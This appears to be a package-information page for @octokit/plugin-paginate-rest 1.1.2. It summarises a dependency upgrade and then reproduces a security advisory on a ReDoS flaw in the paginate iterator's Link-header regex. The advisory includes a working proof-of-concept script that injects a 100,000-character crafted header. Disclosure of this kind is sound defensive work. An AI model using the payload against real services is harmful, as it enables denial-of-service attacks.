Version 1.1.2 of @octokit/plugin-paginate-rest introduces a subtle but important update compared to its predecessor, version 1.1.1. While both versions maintain the core functionality of simplifying pagination for GitHub REST API responses within Octokit, the key difference lies in the updated semantic-release dependency. Version 1.1.2 upgrades semantic-release from version 16.0.0 to version 17.0.0.
For developers utilizing this plugin, this change signifies enhanced automation and reliability in the release process, streamlining updates and ensuring consistent package management. While the core API for pagination remains consistent, developers benefit from the improved stability and feature set introduced by the updated semantic-release dependency, which contributes to a more robust development workflow surrounding the @octokit/plugin-paginate-rest package.
The plugin itself empowers developers to efficiently handle large datasets returned by GitHub's API by abstracting away the complexities of manual pagination. By providing a simple interface for traversing paginated responses, the @octokit/plugin-paginate-rest reduces boilerplate code and enhances the overall developer experience when interacting with GitHub's REST API. The update ensures that developers get all those benefits but also a more automated and reliable underlying packaging system.
All the vulnerabilities related to the version 1.1.2 of the package
@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
@octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.